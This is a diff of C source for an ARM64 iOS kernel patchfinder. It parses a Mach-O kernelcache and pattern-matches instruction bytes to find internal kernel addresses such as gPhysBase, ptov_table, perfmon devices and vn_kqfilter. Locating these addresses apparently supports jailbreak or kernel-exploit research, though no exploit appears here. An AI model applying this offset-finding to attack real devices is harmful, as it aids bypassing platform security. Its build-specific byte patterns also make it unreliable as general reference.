+ signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
+ //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF));
+ value[reg] = ((long long)adr << 1) + (i & ~0xFFF);
+ /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) {
+ unsigned rd = op & 0x1F;
+ unsigned rm = (op >> 16) & 0x1F;
+ //printf("%llx: MOV X%d, X%d\n", i, rd, rm);
+ value[rd] = value[rm];*/
+ } else if ((op & 0xFF000000) == 0x91000000) {
+ unsigned rn = (op >> 5) & 0x1F;
+ unsigned shift = (op >> 22) & 3;
+ unsigned imm = (op >> 10) & 0xFFF;
+ if (shift == 1) {
+ imm <<= 12;
+ } else {
+ //assert(shift == 0);
+ if (shift > 1) continue;
+ }
+ //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm);
+ value[reg] = value[rn] + imm;
+ } else if ((op & 0xF9C00000) == 0xF9400000) {
+ unsigned rn = (op >> 5) & 0x1F;
+ unsigned imm = ((op >> 10) & 0xFFF) << 3;
+ //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
+ if (!imm) continue; // XXX not counted as true xref
+ value[reg] = value[rn] + imm; // XXX address, not actual value
+ } else if ((op & 0xF9C00000) == 0xF9000000) {
+ unsigned rn = (op >> 5) & 0x1F;
+ unsigned imm = ((op >> 10) & 0xFFF) << 3;
+ //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
+ if (!imm) continue; // XXX not counted as true xref
+ value[rn] = value[rn] + imm; // XXX address, not actual value
+ } else if ((op & 0x9F000000) == 0x10000000) {
+ signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
+ //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i);
+ value[reg] = ((long long)adr >> 11) + i;
+ } else if ((op & 0xFF000000) == 0x58000000) {
+ unsigned adr = (op & 0xFFFFE0) >> 3;
+ //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i);
+ value[reg] = adr + i; // XXX address, not actual value
+ } else if ((op & 0xF9C00000) == 0xb9400000) { // 32bit
+ unsigned rn = (op >> 5) & 0x1F;
+ unsigned imm = ((op >> 10) & 0xFFF) << 2;
+ if (!imm) continue; // XXX not counted as true xref
+ value[reg] = value[rn] + imm; // XXX address, not actual value
+ }
+ }
+ return value[which];
+}
+
+static addr_t
+calc64mov(const uint8_t *buf, addr_t start, addr_t end, int which)
+{
+ addr_t i;
+ uint64_t value[32];
+
+ memset(value, 0, sizeof(value));
+
+ end &= ~3;
+ for (i = start & ~3; i < end; i += 4) {
+ uint32_t op = *(uint32_t *)(buf + i);
+ unsigned reg = op & 0x1F;
+ uint64_t newval;
+ int rv = DecodeMov(op, value[reg], 0, &newval);
+ if (rv == 0) {
+ if (((op >> 31) & 1) == 0) {
+ newval &= 0xFFFFFFFF;
+ }
+ value[reg] = newval;
+ }
+ }
+ return value[which];
+}
+
+static addr_t
+find_call64(const uint8_t *buf, addr_t start, size_t length)
+{
+ return step64(buf, start, length, INSN_CALL);
+}
+
+static addr_t
+follow_call64(const uint8_t *buf, addr_t call)
+{
+ long long w;
+ w = *(uint32_t *)(buf + call) & 0x3FFFFFF;
+ w <<= 64 - 26;
+ w >>= 64 - 26 - 2;
+ return call + w;
+}
+
+static addr_t
+follow_stub(const uint8_t *buf, addr_t call)
+{
+ addr_t stub = follow_call64(buf, call);
+ if (!stub) return 0;
+
+ if (monolithic_kernel) {
+ return stub + kerndumpbase;
+ }
+ addr_t target_function_offset = calc64(buf, stub, stub+4*3, 16);
+ if (!target_function_offset) return 0;
+
+ return *(addr_t*)(buf + target_function_offset);
+}
+
+static addr_t
+follow_cbz(const uint8_t *buf, addr_t cbz)
+{
+ return cbz + ((*(int *)(buf + cbz) & 0x3FFFFE0) << 10 >> 13);
+}
+
+static addr_t
+remove_pac(addr_t addr)
+{
+ if (addr >= kerndumpbase) return addr;
+ if (addr >> 56 == 0x80) {
+ return (addr&0xffffffff) + kerndumpbase;
+ }
+ return addr |= 0xfffffff000000000;
+}
+
+static addr_t
+follow_adrl(const uint8_t *buf, addr_t call)
+{
+ //Stage1. ADRP
+ uint32_t op = *(uint32_t *)(buf + call);
+// printf("op: 0x%llx\n", op);
+
+ uint64_t imm_hi_lo = (uint64_t)((op >> 3) & 0x1FFFFC);
+ imm_hi_lo |= (uint64_t)((op >> 29) & 0x3);
+ if ((op & 0x800000) != 0) {
+ // Sign extend
+ imm_hi_lo |= 0xFFFFFFFFFFE00000;
+ }
+
+ // Build real imm
+ uint64_t imm = imm_hi_lo << 12;
+// printf("imm: 0x%llx\n", imm);
+
+ uint64_t ret = (call & ~0xFFF) + imm;
+
+ //Stage2. ADD
+ uint32_t op2 = *(uint32_t *)(buf + call + 4);
+ uint64_t imm12 = (op2 & 0x3FFC00) >> 10;
+
+ uint32_t shift = (op2 >> 22) & 1;
+ if (shift == 1) {
+ imm12 = imm12 << 12;
+ }
+
+ uint8_t regDst = (uint8_t)(op2 & 0x1F);
+ uint8_t regSrc = (uint8_t)((op2 >> 5) & 0x1F);
+// printf("regSrc: 0x%x\n", imm12);
+
+ ret += imm12;
+// printf("ret: 0x%llx\n", ret + kerndumpbase + imm12);
+
+ return ret;
+}
+
+static addr_t
+follow_adrpLdr(const uint8_t *buf, addr_t call)
+{
+ //Stage1. ADRP
+ uint32_t op = *(uint32_t *)(buf + call);
+
+ uint64_t imm_hi_lo = (uint64_t)((op >> 3) & 0x1FFFFC);
+ imm_hi_lo |= (uint64_t)((op >> 29) & 0x3);
+ if ((op & 0x800000) != 0) {
+ // Sign extend
+ imm_hi_lo |= 0xFFFFFFFFFFE00000;
+ }
+
+ // Build real imm
+ uint64_t imm = imm_hi_lo << 12;
+// printf("imm: 0x%llx\n", call, imm);
+
+ uint64_t ret = (call & ~0xFFF) + imm;
+
+ //Stage2. STR
+ uint32_t op2 = *(uint32_t *)(buf + call + 4);
+ uint64_t imm12 = ((op2 >> 10) & 0xFFF) << 3;
+ ret += imm12;
+
+ return ret;
+}
+
+/* kernel iOS10 **************************************************************/
+
+#include
+#include
+#include
+
+#ifndef NOT_DARWIN
+#include
+#else
+#include "mach-o_loader.h"
+#endif
+
+#ifdef VFS_H_included
+#define INVALID_HANDLE NULL
+static FHANDLE
+OPEN(const char *filename, int oflag)
+{
+ ssize_t rv;
+ char buf[28];
+ FHANDLE fd = file_open(filename, oflag);
+ if (!fd) {
+ return NULL;
+ }
+ rv = fd->read(fd, buf, 4);
+ fd->lseek(fd, 0, SEEK_SET);
+ if (rv == 4 && !MACHO(buf)) {
+ fd = img4_reopen(fd, NULL, 0);
+ if (!fd) {
+ return NULL;
+ }
+ rv = fd->read(fd, buf, sizeof(buf));
+ if (rv == sizeof(buf) && *(uint32_t *)buf == 0xBEBAFECA && __builtin_bswap32(*(uint32_t *)(buf + 4)) > 0) {
+ return sub_reopen(fd, __builtin_bswap32(*(uint32_t *)(buf + 16)), __builtin_bswap32(*(uint32_t *)(buf + 20)));
+ }
+ fd->lseek(fd, 0, SEEK_SET);
+ }
+ return fd;
+}
+#define CLOSE(fd) (fd)->close(fd)
+#define READ(fd, buf, sz) (fd)->read(fd, buf, sz)
+static ssize_t
+PREAD(FHANDLE fd, void *buf, size_t count, off_t offset)
+{
+ ssize_t rv;
+ //off_t pos = fd->lseek(FHANDLE fd, 0, SEEK_CUR);
+ fd->lseek(fd, offset, SEEK_SET);
+ rv = fd->read(fd, buf, count);
+ //fd->lseek(FHANDLE fd, pos, SEEK_SET);
+ return rv;
+}
+#else
+#define FHANDLE int
+#define INVALID_HANDLE -1
+#define OPEN open
+#define CLOSE close
+#define READ read
+#define PREAD pread
+#endif
+
+static uint8_t *kernel = NULL;
+static size_t kernel_size = 0;
+
+static uint32_t arch_off = 0;
+
+int
+init_kernel(size_t (*kread)(uint64_t, void *, size_t), addr_t kernel_base, const char *filename)
+{
+ size_t rv;
+ uint8_t buf[0x5000];
+ unsigned i, j;
+ const struct mach_header *hdr = (struct mach_header *)buf;
+ FHANDLE fd = INVALID_HANDLE;
+ const uint8_t *q;
+ addr_t min = -1;
+ addr_t max = 0;
+ int is64 = 0;
+
+ if (filename == NULL) {
+ if (!kread || !kernel_base) {
+ return -1;
+ }
+ rv = kread(kernel_base, buf, sizeof(buf));
+ if (rv != sizeof(buf) || !MACHO(buf)) {
+ return -1;
+ }
+ } else {
+ fd = OPEN(filename, O_RDONLY);
+ if (fd == INVALID_HANDLE) {
+ return -1;
+ }
+
+
+ uint32_t magic;
+ read(fd, &magic, 4);
+ lseek(fd, 0, SEEK_SET);
+ if (magic == 0xbebafeca) {
+ struct fat_header fat;
+ lseek(fd, sizeof(fat), SEEK_SET);
+ struct fat_arch_64 arch;
+ read(fd, &arch, sizeof(arch));
+ arch_off = ntohl(arch.offset);
+ lseek(fd, arch_off, SEEK_SET); // kerneldec gives a FAT binary for some reason
+ }
+
+ rv = READ(fd, buf, sizeof(buf));
+ if (rv != sizeof(buf) || !MACHO(buf)) {
+ CLOSE(fd);
+ return -1;
+ }
+ }
+
+ if (IS64(buf)) {
+ is64 = 4;
+ }
+ q = buf + sizeof(struct mach_header) + is64;
+// printf("hdr->ncmds: %u\n", hdr->ncmds);
+ for (i = 0; i < hdr->ncmds; i++) {
+ const struct load_command *cmd = (struct load_command *)q;
+// printf("i: %d, cmd->cmd: 0x%x\n", i, cmd->cmd);
+ if (cmd->cmd == LC_SEGMENT_64) {
+ const struct segment_command_64 *seg = (struct segment_command_64 *)q;
+ if(seg->filesize == 0) {
+ q = q + cmd->cmdsize;
+ continue;
+ }
+ if (min > seg->vmaddr && seg->vmsize > 0) {
+ min = seg->vmaddr;
+ }
+ if (max < seg->vmaddr + seg->vmsize && seg->vmsize > 0) {
+ max = seg->vmaddr + seg->vmsize;
+ }
+ if (!strcmp(seg->segname, "__TEXT_EXEC")) {
+ xnucore_base = seg->vmaddr;
+ xnucore_size = seg->filesize;
+ } else if (!strcmp(seg->segname, "__PPLTEXT")) {
+ ppl_base = seg->vmaddr;
+ ppl_size = seg->filesize;
+ } else if (!strcmp(seg->segname, "__PLK_TEXT_EXEC")) {
+ prelink_base = seg->vmaddr;
+ prelink_size = seg->filesize;
+ } else if (!strcmp(seg->segname, "__TEXT")) {
+ const struct section_64 *sec = (struct section_64 *)(seg + 1);
+ for (j = 0; j < seg->nsects; j++) {
+ if (!strcmp(sec[j].sectname, "__cstring")) {
+ cstring_base = sec[j].addr;
+ cstring_size = sec[j].size;
+ } else if (!strcmp(sec[j].sectname, "__os_log")) {
+ oslstring_base = sec[j].addr;
+ oslstring_size = sec[j].size;
+ } else if (!strcmp(sec[j].sectname, "__const")) {
+ const_base = sec[j].addr;
+ const_size = sec[j].size;
+ }
+ }
+ } else if (!strcmp(seg->segname, "__PRELINK_TEXT")) {
+ const struct section_64 *sec = (struct section_64 *)(seg + 1);
+ for (j = 0; j < seg->nsects; j++) {
+ if (!strcmp(sec[j].sectname, "__text")) {
+ pstring_base = sec[j].addr;
+ pstring_size = sec[j].size;
+ }
+ }
+ } else if (!strcmp(seg->segname, "__DATA_CONST")) {
+ const struct section_64 *sec = (struct section_64 *)(seg + 1);
+ for (j = 0; j < seg->nsects; j++) {
+ if (!strcmp(sec[j].sectname, "__const")) {
+ data_const_base = sec[j].addr;
+ data_const_size = sec[j].size;
+ }
+ }
+ } else if (!strcmp(seg->segname, "__DATA")) {
+ const struct section_64 *sec = (struct section_64 *)(seg + 1);
+ for (j = 0; j < seg->nsects; j++) {
+ if (!strcmp(sec[j].sectname, "__data")) {
+ data_base = sec[j].addr;
+ data_size = sec[j].size;
+ }
+ }
+ }
+ } else if (cmd->cmd == LC_UNIXTHREAD) {
+ uint32_t *ptr = (uint32_t *)(cmd + 1);
+ uint32_t flavor = ptr[0];
+ struct {
+ uint64_t x[29]; /* General purpose registers x0-x28 */
+ uint64_t fp; /* Frame pointer x29 */
+ uint64_t lr; /* Link register x30 */
+ uint64_t sp; /* Stack pointer x31 */
+ uint64_t pc; /* Program counter */
+ uint32_t cpsr; /* Current program status register */
+ } *thread = (void *)(ptr + 2);
+ if (flavor == 6) {
+ kernel_entry = thread->pc;
+ }
+ }
+
+ q = q + cmd->cmdsize;
+ }
+
+ if (prelink_size == 0) {
+ monolithic_kernel = true;
+ prelink_base = xnucore_base;
+ prelink_size = xnucore_size;
+ pstring_base = cstring_base;
+ pstring_size = cstring_size;
+ }
+
+ kerndumpbase = min;
+ xnucore_base -= kerndumpbase;
+ prelink_base -= kerndumpbase;
+ cstring_base -= kerndumpbase;
+ ppl_base -= kerndumpbase;
+ pstring_base -= kerndumpbase;
+ oslstring_base -= kerndumpbase;
+ data_const_base -= kerndumpbase;
+ data_base -= kerndumpbase;
+ const_base -= kerndumpbase;
+ kernel_size = max - min;
+
+ if (filename == NULL) {
+ kernel = malloc(kernel_size);
+ if (!kernel) {
+ return -1;
+ }
+ rv = kread(kerndumpbase, kernel, kernel_size);
+ if (rv != kernel_size) {
+ free(kernel);
+ kernel = NULL;
+ return -1;
+ }
+
+ kernel_mh = kernel + kernel_base - min;
+ } else {
+ kernel = calloc(1, kernel_size);
+ if (!kernel) {
+ CLOSE(fd);
+ return -1;
+ }
+
+ q = buf + sizeof(struct mach_header) + is64;
+ for (i = 0; i < hdr->ncmds; i++) {
+ const struct load_command *cmd = (struct load_command *)q;
+ if (cmd->cmd == LC_SEGMENT_64) {
+ const struct segment_command_64 *seg = (struct segment_command_64 *)q;
+ size_t sz = PREAD(fd, kernel + seg->vmaddr - min, seg->filesize, seg->fileoff);
+ if (sz != seg->filesize) {
+ CLOSE(fd);
+ free(kernel);
+ kernel = NULL;
+ return -1;
+ }
+ if (!kernel_mh) {
+ kernel_mh = kernel + seg->vmaddr - min;
+ }
+ if (!strcmp(seg->segname, "__PPLDATA")) {
+ auth_ptrs = true;
+ } else if (!strcmp(seg->segname, "__LINKEDIT")) {
+ kernel_delta = seg->vmaddr - min - seg->fileoff;
+ }
+ }
+ q = q + cmd->cmdsize;
+ }
+
+ kernel += arch_off;
+
+ CLOSE(fd);
+ }
+ return 0;
+}
+
+void
+term_kernel(void)
+{
+ kernel -= arch_off;
+ if (kernel != NULL) {
+ free(kernel);
+ kernel = NULL;
+ }
+}
+
+addr_t
+find_register_value(addr_t where, int reg)
+{
+ addr_t val;
+ addr_t bof = 0;
+ where -= kerndumpbase;
+ if (where > xnucore_base) {
+ bof = bof64(kernel, xnucore_base, where);
+ if (!bof) {
+ bof = xnucore_base;
+ }
+ } else if (where > prelink_base) {
+ bof = bof64(kernel, prelink_base, where);
+ if (!bof) {
+ bof = prelink_base;
+ }
+ }
+ val = calc64(kernel, bof, where, reg);
+ if (!val) {
+ return 0;
+ }
+ return val + kerndumpbase;
+}
+
+addr_t
+find_reference(addr_t to, int n, enum text_bases text_base)
+{
+ addr_t ref, end;
+ addr_t base = xnucore_base;
+ addr_t size = xnucore_size;
+ switch (text_base) {
+ case text_xnucore_base:
+ break;
+ case text_prelink_base:
+ if (prelink_base) {
+ base = prelink_base;
+ size = prelink_size;
+ }
+ break;
+ case text_ppl_base:
+ if (ppl_base != 0-kerndumpbase) {
+ base = ppl_base;
+ size = ppl_size;
+ }
+ break;
+ default:
+ printf("Unknown base %d\n", text_base);
+ return 0;
+ break;
+ }
+ if (n <= 0) {
+ n = 1;
+ }
+ end = base + size;
+ to -= kerndumpbase;
+ do {
+ ref = xref64(kernel, base, end, to);
+ if (!ref) {
+ return 0;
+ }
+ base = ref + 4;
+ } while (--n > 0);
+ return ref + kerndumpbase;
+}
+
+addr_t
+find_strref(const char *string, int n, enum string_bases string_base, bool full_match, bool ppl_base)
+{
+ uint8_t *str;
+ addr_t base;
+ addr_t size;
+ enum text_bases text_base = ppl_base?text_ppl_base:text_xnucore_base;
+
+ switch (string_base) {
+ case string_base_const:
+ base = const_base;
+ size = const_size;
+ break;
+ case string_base_data:
+ base = data_base;
+ size = data_size;
+ break;
+ case string_base_oslstring:
+ base = oslstring_base;
+ size = oslstring_size;
+ break;
+ case string_base_pstring:
+ base = pstring_base;
+ size = pstring_size;
+ text_base = text_prelink_base;
+ break;
+ case string_base_cstring:
+ default:
+ base = cstring_base;
+ size = cstring_size;
+ break;
+ }
+// printf("base: 0x%llx, size: 0x%llx\n", base, size);
+ addr_t off = 0;
+ while ((str = boyermoore_horspool_memmem(kernel + base + off, size - off, (uint8_t *)string, strlen(string)))) {
+ // Only match the beginning of strings
+ if ((str == kernel + base || *(str-1) == '\0') && (!full_match || strcmp((char *)str, string) == 0))
+ break;
+ off = str - (kernel + base) + 1;
+ }
+ if (!str) {
+ return 0;
+ }
+ return find_reference(str - kernel + kerndumpbase, n, text_base);
+}
+
+#ifndef NOT_DARWIN
+#include
+#else
+#include "mach-o_nlist.h"
+#endif
+
+
+addr_t
+find_symbol(const char *symbol)
+{
+ //XXX Temporary disabled
+ return 0;
+
+ if (!symbol) {
+ return 0;
+ }
+
+ unsigned i;
+ const struct mach_header *hdr = kernel_mh;
+ const uint8_t *q;
+ int is64 = 0;
+
+ if (IS64(hdr)) {
+ is64 = 4;
+ }
+
+/* XXX will only work on a decrypted kernel */
+ if (!kernel_delta) {
+ return 0;
+ }
+
+ /* XXX I should cache these. ohwell... */
+ q = (uint8_t *)(hdr + 1) + is64;
+ for (i = 0; i < hdr->ncmds; i++) {
+ const struct load_command *cmd = (struct load_command *)q;
+ if (cmd->cmd == LC_SYMTAB) {
+ const struct symtab_command *sym = (struct symtab_command *)q;
+ const char *stroff = (const char *)kernel + sym->stroff + kernel_delta;
+ if (is64) {
+ uint32_t k;
+ const struct nlist_64 *s = (struct nlist_64 *)(kernel + sym->symoff + kernel_delta);
+ for (k = 0; k < sym->nsyms; k++) {
+ if (s[k].n_type & N_STAB) {
+ continue;
+ }
+ if (s[k].n_value && (s[k].n_type & N_TYPE) != N_INDR) {
+ if (!strcmp(symbol, stroff + s[k].n_un.n_strx)) {
+ /* XXX this is an unslid address */
+ return s[k].n_value;
+ }
+ }
+ }
+ }
+ }
+ q = q + cmd->cmdsize;
+ }
+ return 0;
+}
+
+//XXXXX
+addr_t find_cdevsw(void)
+{
+// MOV X1, #0
+// com.apple.kernel:__text:FFFFFFF0081FB580 MOV X2, #0
+// com.apple.kernel:__text:FFFFFFF0081FB584 MOV W3, #0
+// com.apple.kernel:__text:FFFFFFF0081FB588 MOV W4, #1
+// com.apple.kernel:__text:FFFFFFF0081FB58C MOV X5, #0
+// 01 00 80 D2
+// 02 00 80 D2
+// 03 00 80 52
+// 24 00 80 52
+// 05 00 80 D2
+ //1. opcode
+ bool found = false;
+ uint64_t addr = 0;
+ addr_t off;
+ uint32_t *k;
+ k = (uint32_t *)(kernel + xnucore_base);
+ for (off = 0; off < xnucore_size - 4; off += 4, k++) {
+ if ((k[0] & 0xff000000) == 0xb4000000 //cbz
+ && k[1] == 0xd2800001 //mov x1, #0
+ && k[2] == 0xd2800002 //mov x2, #0
+ && k[3] == 0x52800003 //mov w3, #0
+ && k[4] == 0x52800024 //mov w4, #1
+ && k[5] == 0xd2800005 /* mov x5, #0 */) {
+ addr = off + xnucore_base;
+ found = true;
+ }
+ }
+ if(!found)
+ return 0;
+
+ //2. Step into High address, and find adrp opcode.
+ addr = step64(kernel, addr, 0x80, INSN_ADRP);
+ if (!addr) {
+ return 0;
+ }
+ //3. Get label from adrl opcode.
+ addr = follow_adrl(kernel, addr);
+
+ return addr + kerndumpbase;
+}
+
+addr_t find_gPhysBase(void)
+{
+ //_invalidate_icache64
+ //1. Find opcode (5F 00 00 71 20 01 00 54 [ADRL 8 bytes] 42 00 40 F9 00 00 02 CB)
+ // cmp w2, #0
+ // b.eq #0x28
+ // adrl *
+ // ldr x2, [x2]
+ // sub x0, x0, x2
+
+ bool found = false;
+ uint64_t addr = 0;
+ addr_t off;
+ uint32_t *k;
+ k = (uint32_t *)(kernel + xnucore_base);
+ for (off = 0; off < xnucore_size - 4; off += 4, k++) {
+ if (k[0] == 0x7100005F
+ && k[1] == 0x54000120
+ && (k[2] & 0x9F000000) == 0x90000000 //adrp
+ && (k[3] & 0xFF800000) == 0x91000000 //add
+ && k[4]== 0xF9400042
+ && k[5] == 0xCB020000) {
+ addr = off + xnucore_base;
+ found = true;
+ }
+ }
+ if(!found)
+ return 0;
+
+ //2. Get label from [ADRL 8 bytes]
+ addr = follow_adrl(kernel, addr + 8);
+
+ return addr + kerndumpbase;
+}
+
+addr_t find_gPhysSize(void)
+{
+ //_invalidate_icache64
+ //1. Find opcode ([STR 4 bytes] 08 01 09 8B 08 C5 72 92 08 01 09 CB)
+ // str *
+ // add x8, x8, x9
+ // and x8, x8, #0xffffffffffffc000
+ // sub x8, x8, x9
+ bool found = false;
+ uint64_t addr = 0;
+ addr_t off;
+ uint32_t *k;
+ k = (uint32_t *)(kernel + xnucore_base);
+ for (off = 0; off < xnucore_size - 4; off += 4, k++) {
+ if ((k[0] & 0xFFC00000) == 0xF9000000 //str
+ && k[1] == 0x8b090108
+ && k[2] == 0x9272c508
+ && k[3] == 0xcb090108) {
+ addr = off + xnucore_base;
+ found = true;
+ }
+ }
+ if(!found)
+ return find_gPhysBase() + 8;
+
+ //2. Get label from [ADRL 8 bytes]
+ addr = follow_adrpLdr(kernel, addr + 0x18);
+
+ return addr + kerndumpbase;
+}
+
+addr_t find_gVirtBase(void)
+{
+ //_invalidate_icache64
+ //1. Find opcode (5F 00 00 71 20 01 00 54 [ADRL 8 bytes] 42 00 40 F9 00 00 02 CB) + [ADRL X2, _gVirtBase]
+ // cmp w2, #0
+ // b.eq #0x28
+ // adrl *
+ // ldr x2, [x2]
+ // sub x0, x0, x2
+
+ bool found = false;
+ uint64_t addr = 0;
+ addr_t off;
+ uint32_t *k;
+ k = (uint32_t *)(kernel + xnucore_base);
+ for (off = 0; off < xnucore_size - 4; off += 4, k++) {
+ if (k[0] == 0x7100005F
+ && k[1] == 0x54000120
+ && (k[2] & 0x9F000000) == 0x90000000 //adrp
+ && (k[3] & 0xFF800000) == 0x91000000 //add
+ && k[4]== 0xF9400042
+ && k[5] == 0xCB020000) {
+ addr = off + xnucore_base;
+ found = true;
+ }
+ }
+ if(!found)
+ return 0;
+
+ //2. Get label from [ADRL 8 bytes]
+ addr = follow_adrl(kernel, addr + 0x18);
+
+ return addr + kerndumpbase;
+}
+
+addr_t find_perfmon_dev_open_2(void)
+{
+//__TEXT_EXEC:__text:FFFFFFF007324700 3F 01 08 6B CMP W9, W8
+//__TEXT_EXEC:__text:FFFFFFF007324704 E1 01 00 54 B.NE loc_FFFFFFF007324740
+//__TEXT_EXEC:__text:FFFFFFF007324708 A8 5E 00 12 AND W8, W21, #0xFFFFFF
+//__TEXT_EXEC:__text:FFFFFFF00732470C 1F 05 00 71 CMP W8, #1
+//__TEXT_EXEC:__text:FFFFFFF007324710 68 02 00 54 B.HI loc_FFFFFFF00732475C
+
+ bool found = false;
+ uint64_t addr = 0;
+ addr_t off;
+ uint32_t *k;
+ k = (uint32_t *)(kernel + xnucore_base);
+ for (off = 0; off < xnucore_size - 4; off += 4, k++) {
+ if (k[0] == 0x53187ea8 //lsr w8, w21, #0x18
+ && (k[2] & 0xffc0001f) == 0xb9400009 // ldr w9, [Xn, n]
+ && k[3] == 0x6b08013f //cmp w9, w8 v
+ && (k[4] & 0xff00001f) == 0x54000001 //b.ne *
+ && (k[5] & 0xfffffc00) == 0x12005c00 //and Wn, Wn, 0xfffff v
+ && k[6] == 0x7100051f //cmp w8, #1 v
+ && (k[7] & 0xff00001f) == 0x54000008 /* b.hi * v */) {
+ addr = off + xnucore_base;
+ found = true;
+ }
+ }
+ if(!found)
+ return 0;
+
+ //2. Find begin of address(bof64)
+ addr = bof64(kernel, xnucore_base, addr);
+ if (!addr) {
+ return 0;
+ }
+
+ //3. check PACIBSP (7F 23 03 D5)
+ uint32_t op = *(uint32_t *)(kernel + addr - 4);
+ if(op == 0xD503237F) {
+ addr -= 4;
+ }
+
+ return addr + kerndumpbase;
+}
+
+addr_t find_perfmon_dev_open(void)
+{
+ bool found = false;
+ uint64_t addr = 0;
+ addr_t off;
+ uint32_t *k;
+ k = (uint32_t *)(kernel + xnucore_base);
+ for (off = 0; off < xnucore_size - 4; off += 4, k++) {
+ if ((k[0] & 0xff000000) == 0x34000000 //cbz w*
+ && k[1] == 0x52800300 //mov W0, #0x18
+ && (k[2] & 0xff000000) == 0x14000000 //b*
+ && k[3] == 0x52800340 //mov w0, #0x1A
+ && (k[4] & 0xff000000) == 0x14000000 /* b* */) {
+ addr = off + xnucore_base;
+ found = true;
+ }
+ }
+ if(!found)
+ return find_perfmon_dev_open_2();
+
+ //2. Find begin of address(bof64)
+ addr = bof64(kernel, xnucore_base, addr);
+ if (!addr) {
+ return 0;
+ }
+
+ //3. check PACIBSP (7F 23 03 D5)
+ uint32_t op = *(uint32_t *)(kernel + addr - 4);
+ if(op == 0xD503237F) {
+ addr -= 4;
+ }
+
+ return addr + kerndumpbase;
+}
+
+addr_t find_perfmon_devices(void)
+{
+
+ bool found = false;
+ uint64_t addr = 0;
+ addr_t off;
+ uint32_t *k;
+ k = (uint32_t *)(kernel + xnucore_base);
+ for (off = 0; off < xnucore_size - 4; off += 4, k++) {
+ if (k[0] == 0x6b08013f //cmp w9, w8
+ && (k[1] & 0xff00001f) == 0x54000001 //b.ne *
+ && k[2] == 0x52800028 //mov w8, #1
+ && k[3] == 0x5280140a /* mov w10, #0xa0 */) {
+ addr = off + xnucore_base;
+ found = true;
+ }
+ }
+ if(!found)
+ return 0;
+
+ //2. Step into High address, and find adrp opcode.
+ addr = step64(kernel, addr, 0x18, INSN_ADRP);
+ if (!addr) {
+ return 0;
+ }
+ //3. Get label from adrl opcode.
+ addr = follow_adrl(kernel, addr);
+
+ return addr + kerndumpbase;
+}
+
+addr_t find_ptov_table(void)
+{
+ //1. Find opcode (49 00 80 52 04 00 00 14 09 00 80 D2 02 00 00 14)
+ uint32_t bytes[] = {
+ 0x52800049,
+ 0x14000004,
+ 0xd2800009,
+ 0x14000002
+ };
+
+ uint64_t addr = (uint64_t)boyermoore_horspool_memmem((unsigned char *)((uint64_t)kernel + xnucore_base), xnucore_size, (const unsigned char *)bytes, sizeof(bytes));
+
+ if (!addr) {
+ return 0;
+ }
+ addr -= (uint64_t)kernel;
+
+ //2. Step into High address, and find adrp opcode.
+ addr = step64(kernel, addr, 0x20, INSN_ADRP);
+ if (!addr) {
+ return 0;
+ }
+ //3. Get label from adrl opcode.
+ addr = follow_adrl(kernel, addr);
+
+ return addr + kerndumpbase;
+}
+
+addr_t find_vn_kqfilter_2(void)
+{
+ //1F 05 00 71
+ //60 02 00 54
+ //1F 11 00 71
+ //E0 0C 00 54
+ //1F 1D 00 71
+
+ bool found = false;
+ uint64_t addr = 0;
+ addr_t off;
+ uint32_t *k;
+ k = (uint32_t *)(kernel + xnucore_base);
+ for (off = 0; off < xnucore_size - 4; off += 4, k++) {
+ if (k[0] == 0x7100051f //cmp w8, #1
+ && (k[1] & 0xff00001f) == 0x54000000 //b.eq *
+ && k[2] == 0x7100111f //cmp w8, #4
+ && (k[3] & 0xff00001f) == 0x54000000 //b.eq *
+ && k[4] == 0x71001d1f /* cmp w8, #7 */) {
+ addr = off + xnucore_base;
+ found = true;
+ }
+ }
+ if(!found)
+ return 0;
+
+ //2. Find begin of address(bof64)
+ addr = bof64(kernel, xnucore_base, addr);
+ if (!addr) {
+ return 0;
+ }
+
+ //3. check PACIBSP (7F 23 03 D5)
+ uint32_t op = *(uint32_t *)(kernel + addr - 4);
+ if(op == 0xD503237F) {
+ addr -= 4;
+ }
+
+ return addr + kerndumpbase;
+}
+
+addr_t find_vn_kqfilter(void)
+{
+ //1. Find opcode (01 00 80 D2 E0 03 15 AA E2 03 13 AA E3 03 14 AA)
+ uint32_t bytes[] = {
+ 0xD2800001,
+ 0xAA1503E0,
+ 0xAA1303E2,
+ 0xAA1403E3
+ };
+
+ uint64_t addr = (uint64_t)boyermoore_horspool_memmem((unsigned char *)((uint64_t)kernel + xnucore_base), xnucore_size, (const unsigned char *)bytes, sizeof(bytes));
+
+ if (!addr) {
+ return find_vn_kqfilter_2();
+ }
+ addr -= (uint64_t)kernel;
+
+ //2. Find begin of address(bof64)
+ addr = bof64(kernel, xnucore_base, addr);
+ if (!addr) {
+ return 0;
+ }
+
+ //3. check PACIBSP (7F 23 03 D5)
+ uint32_t op = *(uint32_t *)(kernel + addr - 4);
+ if(op == 0xD503237F) {
+ addr -= 4;
+ }
+
+ return addr + kerndumpbase;
+}
+
+addr_t find_proc_object_size(void) {
+ //footprint
+ //_proc_task: ADRP X8, #qword_FFFFFFF00A3091E8@PAGE
+ //qword_FFFFFFF00A3091E8 DCQ 0x530
+
+ //E0 03 15 AA
+ //E1 04 81 52
+ //02 01 80 52
+ //03 11 80 52
+ uint32_t bytes[] = {
+ 0xAA1503E0,
+ 0x528104E1,
+ 0x52800102,
+ 0x52801103
+ };
+
+ uint64_t addr = (uint64_t)boyermoore_horspool_memmem((unsigned char *)((uint64_t)kernel + xnucore_base), xnucore_size, (const unsigned char *)bytes, sizeof(bytes));
+
+ if (!addr) {
+ return 0;
+ }
+ addr -= (uint64_t)kernel;
+
+ //2. Step into High address, and find adrp opcode.
+ addr = step64(kernel, addr, 0x20, INSN_ADRP);
+ if (!addr) {
+ return 0;
+ }
+
+ //3. Get label from adrl opcode.
+ addr = follow_adrpLdr(kernel, addr);
+
+ //4. Get val from addr
+ uint64_t val = *(uint64_t *)(kernel + addr);
+
+ return val;
+}
+//XXXXX
